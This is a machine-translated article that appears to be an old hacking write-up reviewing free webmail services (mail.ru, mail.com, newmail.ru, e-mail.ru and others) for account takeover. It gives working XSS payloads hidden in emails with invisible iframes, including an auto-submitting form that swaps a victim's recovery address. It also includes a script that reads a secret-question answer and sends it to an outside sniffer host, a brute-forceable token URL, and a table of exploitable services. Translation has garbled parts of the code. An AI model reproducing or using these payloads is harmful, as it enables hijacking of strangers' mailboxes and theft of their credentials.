This page has been robot translated, sorry for typos if any. Original content here.

ОГЛЯД вразливих БЕЗКОШТОВНИХ ПОШТОВИХ СЕРВІСІВ

Продовжуємо займатися web-поштою. Я провів невелике дослідження різних служб на предмет злому і представляю вашій увазі результати. Технологія атаки залишається колишньою: на чужу адресу відсилається лист з JavaScript-кодом, який спрацьовує при відкритті листа, і змінює будь-яку інформацію в налаштуваннях скриньки користувача. Немає сенсу докладно описувати кожен сервер, так як підхід всюди однаковий, тому наведу кілька прикладів, а в кінці - таблицю. У більшості випадків злом можна вважати 100% -ним, з деякими припущеннями: користувач повинен обов'язково використовувати web-інтерфейс для читання листів, при написанні експлойтів я орієнтувався на стандартну платформу, тобто спочатку припускаю, що у користувача не якась там екзотична ОС або браузер з відключеним виконанням JS.

WWW.MAIL.RU

Почну з пошти №1 в Росії. На даний момент, завдяки пропускання JavaScript і однієї помилку розробників, злом цього ящика здійснити можна. Вважаю, що основні принципи загальновідомі. Як отримати пароль? 1 - несанкціоновано змінити його. Не мине, потрібно знати раніше встановлений. 2 - поміняти секретне питання і скористатися службою боротьби з амнезією. Теж не пройде. 3 - встановити свій альтернативний Email, щоб отримати на нього новий, згенерований системою пароль. Чи не вийде, останні дві вишеперчісленних опції знаходяться в одній формі і також захищені паролем. Навіть інші, що представляють для нас менший інтерес настройки (Ім'я, прізвище і тд) тепер без введення поточного пароля змінити не вдасться. Здавалося б варіантів немає. Проте є такий другорядний за важливістю, непримітний розділ налаштувань "Контактна інформація" (ICQ, сайт, телефон, місце роботи, часовий пояс і тд). У цьому розділі можна також вказати контактний Email. Весь фокус у тому, що при цьому в реєстраційній інформації альтернативну адресу змінюється але той, що прописаний в анкеті, і тепер можна отримати пароль на мило, скориставшись службою нагадування. Все просто. URL: http://win.mail.ru/cgi-bin/anketa?page=2&Email=hacker@antichat.ru Правда методом GET зміну налаштувань в ящику mail.ru тепер зробити не можна, тому детально опишу технічну сторону питання.

I. Відсилаємо на потрібний ящик лист з кодом, який згенерує безпосередньо в тілі листа фрейм з посиланням на наш сайт. По можливості скрипт повинен спрацьовувати без будь-якої участі користувача (натискання, клік, наведення мишкою, завантаження зображення і тд):


 <Embed src = "javascript: document.getElementById ( 'xxx'). InnerHTML = '<iframe src = http: //yoursite.yourdomain.ru/yourscript.html> </ iframe>'; this.wav">
 <P id = 'xxx'>
Для того щоб повністю забезпечити працездатність скрипта, а так само маскування, перетворимо:
 <Embed src = "javascript: status = location; document.getElementById ( 'xxx'). InnerHTML = '<iframe src = http: //yoursite.ru/yourscript.html width = 0 height = 0> </ iframe>' ; this.wav "width = 0 height = 0>
 <P id = 'xxx'>
У такому вигляді, коди символів замінюють літери в імені елементів javascript і iframe, і поштовий скрипт НЕ відфільтровує їх. Рядок status = location; створює в рядку стану видимість локального URL, щоб стороннє мелькання не викликало підозр. Атрибути width і height, як фрейми, так і embed задаються рівними нулю, і роблять їх невидимими.

II. На ресурсі http://yoursite.ru диспонуємо HTML-документ з формою відправки змінених даних на сервер mail.ru.

Вміст yourscript.html:
 <Form method = "post" action = "http://win.mail.ru/cgi-bin/anketa" name = "anketa"> <br>
 <Input type = "hidden" name = "page" value = "2"> <br>
 <Input type = "hidden" name = "Email" value = "hacker@antichat.ru"> <br>
 <Input type = "hidden" value = "Зберегти" name = "Save"> <br>
 </ Form> <br>
 <Script> <br>
 document.anketa.submit (); <br>
 </ Script>
Примітки: роботу клієнтської частини скрипта в незміненому вигляді гарантую тільки для IE; форма відправки розміщується на окремому сайті спеціально, щоб "розвантажити" лист.


WWW.MAIL.COM

Тепер дещо інша помилка безпеки, на прикладі http://mail.com. Якщо скористатися службою нагадування пароля, то для його отримання досить ввести правильну відповідь на секретне питання (один з варіантів). Значить ставимо перед собою завдання отримати цю відповідь. Робиться це легко. Коли я зайшов в властивості поштової скриньки і просматрел реєстраційну інформацію, то уідел, що відповідь на секретне питання не приховується, що і дозволяє нам з допомогою JavaScript вважати його значення.

Впроваджуємо скрипт через тег style.
Адреса сторінки з настройками: http://mail01.mail.com/scripts/common/genprofile.cgi
Ім'я форми: profileform
Ім'я поля text з секретним відповіддю: hint_a
У підсумку, щоб вкрасти секретне питання, потрібно викликати сторінку налаштувань, запустити JavaScript, отримати значення document.profileform.hint_a.value, і передати його на сниффер разом з змінного оточуючого середовища REQUEST_UR I.

Готовий варіант:
 <Style> @import url (javascript: document.getElementById ( 'out'). InnerHTML = "<iframe src = http: //mail01.mail.com/scripts/common/genprofile.cgi name = 'zero'% 6FnLoad = `str = document.zero.profileform.hint_a.value; path = 'http: //zero.h12.ru/stat/capt.php?'; document.zero.location = path + str`> </ iframe>" ); </ style>
 <Span id = 'out'> </ span>
У створеному фреймі з ім'ям zero завантажується сторінка налаштувань. Після закінчення завантаження, обробник OnLoad запускає скрипт зчитування секретного питання, а після, через цей же фрейм відправляє відповідь на сниффер. Тепер досить зайти за адресою http://zero.h12.ru/stat/log.php, і знайти потрібну інформацію в рядку "Host".

WWW.NEWMAIL.RU

На мій погляд, досить популярний поштовик, тому розповім про нього детальніше. Тим більше, що заволодіти чужим аккаунтом на ньому набагато простіше ніж здається з першого погляду. Можна зробити так: відіслати листа зі скриптом, який при запуску отримає session id, сформує потрібні запити, і змінить в настройках значення альтренатівного email (на який потім вишле пароль) і секретного питання і відповіді. Однак, якщо при нагадуванні вказати будь-який інший адресу, пароль вишле і на нього, аби секретний відповідь була правильною. І наступне спостереження: session id для зміни налаштувань можна ВЗАГАЛІ не використовувати. Плюс до всього, дозволені будь-які теги. Все вищеописане зводить обсяг коду до пари рядків:
 <Iframe src = http: //newmail.ru/users/chpass.dhtml? Cp_msg = 1 & cp_quest = ПИТАННЯ & cp_answ = ВІДПОВІДЬ width = 0 height = 0> </ iframe> 

WWW.E-MAIL.RU

Метод злому e-mail.ru дещо не вписується в загальну тематику статті, але все ж - пошта :) . Коли мені було потрібно отримати пароль від одного ящика, я як завжди зареєстрував собі аккаунт і почав досліджувати систему. Перше, що впало в очі - можливість встановити новий пароль і секретне питання з відповіддю, без введення старого пароля. План дій звичайний: перевірити фільтрацію тегів, отримати ID і виконати запит. Однак для зміни налаштувань використовувалася спеціальна змінна utoken, яка міститься в тілі документа. Поекспериментувавши зі зміною питання і відповіді із заздалегідь відомою utoken:
http://www.e-mail.ru/scripts/netauth.dll?cmd=passwd2&show=passwd.tpl&utoken=email@e-mail.ru-5a00&show=passwd.tpl&pass=&repass=&pquestion=ВОПРОС&panswer=ОТВЕТ я прийшов до висновку, що ID і cookies для зміни налаштувань не потрібно. При цьому, після спостереження за utoken, виявилося що чотиризначний шестнадцатиричное число після адреси пошти email@e-mail.ru-5a00 лежить в дуже вузькому діапазоні. А саме, щоб встановити секретний питання з відповіддю на будь-якому цікавить нас ящику, потрібно перебрати всього 7 варіантів: 5a00, 5b00, 5c00, 5d00, 5e00, 5f00, 6000. Коли число буде вгадано, ми потрапимо в потрібний ящик.

Примітки: на даний момент відбулися деякі зміни. Служба відновлення паролів не працює, тому доцільно відразу його змінювати. Адреса зміни настройки теж змінився:
http://www.e-mail.ru/scripts/netauth.dll?cmd=passwd2&show=passwd.tpl&utoken=email@e-mail.ru-5a00&u_token=email@e-mail.ru-5c00&show=passwd.tpl&pass=&repass=&pquestion=ВОПРОС&panswer=ОТВЕТ Спосіб працює не завжди. Ймовірно, все-таки потрібно, щоб користувач час від часу заходив в пошту через web.

Таблиця з характеристиками безкоштовних WWW-серверів

СЕРВЕР JavaScript Вразливість
www.km.ru
km.ru
img src = javascript: Дозволяє прочитати пароль зі сторінки налаштувань з поля password
www.mail.ru
inbox.ru , bk.ru , list.ru ,
embed src = javascript: Можна змінити альтернативний email
www.mail.com
email.com , post.com , myself.com , consultant.com і ін.
@ Import url (javascript:); В налаштуваннях показаний відповідь на секретне питання
www.newmail.ru
nm.ru , hotmail.ru , orc.ru , nightmail.ru
Будь-яким методом Прочитати / змінити питання і відповідь. Пароль видається діючий
www.netman.ru і www.mailgate.ru
один і той же поштовик. близько 80 доменів
img src = javascript:, style = background: url (javascript:) Можна вкрасти відповідь на секретне питання, якщо він встановлений. Також можливо устновіть адреса для пересилки (копії не зберігаються)
www.yandex.ru OnError, OnLoad Видалення сайту * .narod.ru (JS не потрібно)
www.ukr.net embed src = javasc
ript: this .wav>
Прочитуємо відповідь на секретне питання
www.nextmail.ru
xaker.ru , email.su , russian.ru , students.ru , programist.ru , designer.ru , mail2k.ru ,
embed src = "javascript: Поміняти / вкрасти відповідь на секретне питання
www.hotbox.ru
pochta.ru , pisem.net , fromru.com , land.ru , і ін.
багатьма способами Видалення акаунта
www.rin.ru embed src = javascript: Прочитати секретний відповідь